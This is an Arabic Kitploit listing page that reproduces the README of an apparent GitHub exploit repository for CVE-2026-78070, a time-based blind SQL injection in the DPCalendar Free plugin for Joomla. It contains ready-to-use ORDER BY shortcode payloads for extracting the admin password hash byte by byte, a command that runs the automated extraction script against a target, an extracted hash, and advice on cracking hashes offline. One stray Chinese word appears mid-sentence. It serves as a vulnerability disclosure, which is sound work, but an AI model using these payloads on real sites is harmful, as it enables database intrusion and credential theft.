Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-78070 — إدخال SQL عبر كود ORDER BY المختصر في plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2 | Kitploit
أدوات/GitHubGitHub/toanln-cov/cve-2026-78070
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقأمن قواعد البيانات
GitHubtoanln-cov/cve-2026-78070

CVE-2026-78070

إدخال SQL عبر كود ORDER BY المختصر في plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2

عرض المستودع
منذ 11س 41دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة SQL Injection عبر Shortcode ORDER BY في plg_content_dpcalendar

DPCalendar Free ≤ 10.11.2 — مستخدم بصلاحية Author يستخرج قاعدة البيانات بالكامل عبر حقن أعمى قائم على الوقت

CVE CVSS CWE-89 Affected Fixed Researcher


الملخص

يقوم الملحق البرمجي للمحتوى plg_content_dpcalendar بتحليل أكواد القصيرة {{#events order="..."}}{{/events}} المضمّنة في نصوص مقالات Joomla. يتم تمرير قيمة معامل order مباشرة إلى ، متجاوزًا تمامًا القائمة البيضاء الخاصة بـ الخاصة بالنموذج. ثم يتم إدراج القيمة في جملة SQL محمية فقط بواسطة — وهي غير كافية لمنع حقن الاستعلامات الفرعية.

EventsModel::setState('list.ordering', ...)
populateState()
ORDER BY
DatabaseDriver::escape()

يمكن لمستخدم بصلاحية Author يمكنه إنشاء أو تعديل المقالات استغلال ذلك لاستخراج البيانات من قاعدة البيانات عبر حقن SQL أعمى قائم على الوقت. يحدث حقن SQL داخل طلب حفظ المقالة الخاص بالمهاجم نفسه — دون الحاجة إلى تفاعل ضحية، أو مقال منشور، أو تدخل مسؤول.


الإصدارات المتأثرة

المكوّنالإصدارات المعرضةتم الاختبار علىالإصدار المُصلَح
DPCalendar Free1.0.0 – 10.11.2Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27)10.12.0

ملاحظة: هذه الثغرة مختلفة عن CVE-2026-57831 (حقن SQL غير مصادق عليه في EventsModel.php عبر filter_created_by، تم إصلاحه في الإصدار 10.11.2). الاكتشاف الحالي يؤثر على الملحق البرمجي للمحتوى (plg_content_dpcalendar) — ملف مختلف، ومعامل مختلف، ولم يتم إصلاحه في أحدث إصدار وقت الاكتشاف.


تفاصيل الثغرة

النوع: حقن SQL (CWE-89) — أعمى قائم على الوقت
المصادقة المطلوبة: دور Author (يمكنه إنشاء/تعديل مقالات Joomla)
نقطة النهاية: POST /index.php/submit-article?view=form&layout=edit
الملف: plg_content_dpcalendar/src/Extension/DPCalendar.php

السبب الجذري

يقوم محلل الأكواد القصيرة في الملحق البرمجي بالتكرار عبر جميع معاملات المفتاح-القيمة في وسم {{#events}} ويضبط حالة النموذج مباشرة، متجاوزًا التحقق من القائمة البيضاء في populateState() بالكامل:

PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — معالجة المعاملات المعرضة للخطر

root@kitploit:~
foreach ($params as $paramKey => $paramValue) {
    switch ($paramKey) {
        case 'order':
            // VULNERABLE: sets ordering state directly from user input
            // bypasses populateState() whitelist entirely
            $model->setState('list.ordering', $paramValue);
            break;
        case 'orderdir':
            $model->setState('list.direction', $paramValue);
            break;
        // ...
    }
}

تتدفق القيمة الملوّثة إلى EventsModel::getListQuery() مع تطبيق هروب علامات الاقتباس فقط — وهو غير كافٍ لمنع حقن الاستعلامات الفرعية في سياق ORDER BY:

COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — بناء جملة ORDER BY

root@kitploit:~
$orderCol  = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');

// $db->escape() escapes quotes only — does NOT prevent subquery injection
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));

يمر استعلام فرعي مثل (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) عبر $db->escape() دون تعديل لأنه لا يحتوي على أي أحرف اقتباس. يصبح SQL الناتج:

root@kitploit:~
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- 

يتم تقييم تعبير ORDER BY فقط عندما تكون مجموعة النتائج غير فارغة — مما يتطلب وجود حدث DPCalendar مستقبلي منشور واحد على الأقل، وهو الشرط القياسي لأي تثبيت نشط لـ DPCalendar.

السلوك الرئيسي: يحدث حقن SQL داخل طلب POST للحفظ/التعديل نفسه — يمكن ملاحظة تأخير التوقيت مباشرة في استجابة HTTP (إعادة توجيه 303). يقيس المهاجم وقت استجابة طلب POST الخاص به؛ لا يلزم عرض مقال أو إعادة تحميل صفحة أو خطوة نشر.


إثبات المفهوم

المتطلبات الأساسية:

  • Joomla 6.1.2 + DPCalendar Free 10.11.2 (MariaDB 10.6.27)
  • حساب بدور Author (يمكنه إنشاء/تعديل المقالات)
  • تمكين الملحق البرمجي plg_content_dpcalendar (مفعل افتراضيًا عند تثبيت DPCalendar)
  • حدث DPCalendar منشور واحد على الأقل مع start_date مستقبلي
  • عنصر قائمة إرسال مقال في الواجهة الأمامية تم إنشاؤه بواسطة المسؤول

السيناريو: حقن SQL أعمى قائم على الوقت ← استخراج بيانات اعتماد المسؤول

0. الشرط المسبق — يجب أن يوجد حدث DPCalendar منشور واحد على الأقل بتاريخ بدء مستقبلي

يقوم الملحق البرمجي بتعيين filter.state = 1 و list.start-date = NOW() قبل بناء الاستعلام. يتم تنفيذ الاستعلامات الفرعية في ORDER BY فقط عندما تحتوي مجموعة النتائج على صفوف؛ إذا كان عدد الصفوف المطابقة 0، فلن يتم استدعاء SLEEP() أبدًا.

1. تسجيل الدخول كمستخدم بدور Author

قم بالمصادقة على الواجهة الأمامية لـ Joomla باستخدام حساب Author. لا يلزم الوصول إلى لوحة الإدارة في أي نقطة من هذا الهجوم.

2. إرسال مقال بحمولة شرط TRUE — ملاحظة تأخير 5 ثوانٍ

انتقل إلى نموذج إرسال المقال في الواجهة الأمامية (/submit-article). أدخل الحمولة التالية في نص المقال وانقر على حفظ:

root@kitploit:~
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}

يتم تأخير استجابة POST نفسها حوالي 5 ثوانٍ. يتم تشغيل onContentPrepare أثناء خط أنابيب حفظ Joomla، مما يستدعي الاستعلام المعرض للخطر قبل إصدار إعادة التوجيه 303. لا يلزم عرض مقال أو نشره.

3. شرط FALSE يؤكد التمييز الواضح في التوقيت

استبدل 1=1 بـ 1=2 (خطأ دائمًا). لا يتم تشغيل SLEEP وتعود الاستجابة فورًا (~100 مللي ثانية)، مما يؤكد فصلًا موثوقًا في التوقيت.

root@kitploit:~
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

4. استخراج تجزئة كلمة مرور المسؤول — بايت ببايت

استخدم مقارنات ASCII(SUBSTRING(...)) لقراءة كل حرف. يجب تجنب علامات الاقتباس المفردة (يتوقف التعبير النمطي للكود القصير [^"\']* عند أي حرف اقتباس)؛ استخدم قيم ASCII العشرية بدلاً من ذلك:

root@kitploit:~
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}

وقت الاستجابة ~5 ثوانٍ → TRUE → char[1] = '$' (ASCII 36 — الحرف الأول من تجزئة bcrypt $2y$10$...).

5. الاستخراج الآلي — تفريغ بيانات اعتماد المسؤول بالكامل

قم بتشغيل exploit/exploit.py لأتمتة حلقة الاستخراج بايت ببايت:

root@kitploit:~
python3 exploit/exploit.py http://TARGET

يسجل البرنامج النصي الدخول كـ Author، ويرسل حمولات مصممة، ويستخرج اسم المستخدم والبريد الإلكتروني وتجزئة كلمة مرور bcrypt الكاملة المكونة من 60 حرفًا. أكدت نتيجة المختبر: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC.

الشرطوقت الاستجابة
TRUE: ASCII(SUBSTR(password,1,1))=36~5,000 مللي ثانية
FALSE: ASCII(SUBSTR(password,1,1))=65~100 مللي ثانية

التأثير

  1. وصول كامل للقراءة إلى قاعدة البيانات — يمكن لمستخدم بصلاحية Author استخراج أي بيانات من قاعدة بيانات Joomla بما في ذلك تجزئات كلمات مرور المسؤول (jos_users.password)، ورموز الجلسات، ورسائل البريد الإلكتروني للمستخدمين عبر حقن SQL أعمى قائم على الوقت.
  2. لا يتطلب تفاعل مسؤول — يحدث حقن SQL داخل طلب حفظ المقالة الخاص بالمهاجم نفسه. لا يحتاج أي ضحية لعرض أو التفاعل مع أي محتوى.
  3. أثر جنائي ضئيل — لا تحتاج المقالة الخبيثة إلى النشر أبدًا. المقالة المسودة (state=0) كافية، مما يترك几乎没有 دليل مرئي على الهجوم.
  4. كسر بيانات الاعتماد دون اتصال — يمكن كسر تجزئات bcrypt المستخرجة دون اتصال باستخدام Hashcat (الوضع 3200) أو John the Ripper، مما قد يؤدي إلى الاستيلاء الكامل على حساب المسؤول.

المراجع

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-78070
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78070
  • GitHub Advisory: https://github.com/advisories/GHSA-v6xp-fwh7-w4rv
  • Vendor Repository: https://github.com/Digital-Peak/DPCalendar-Free
تنزيل الأداة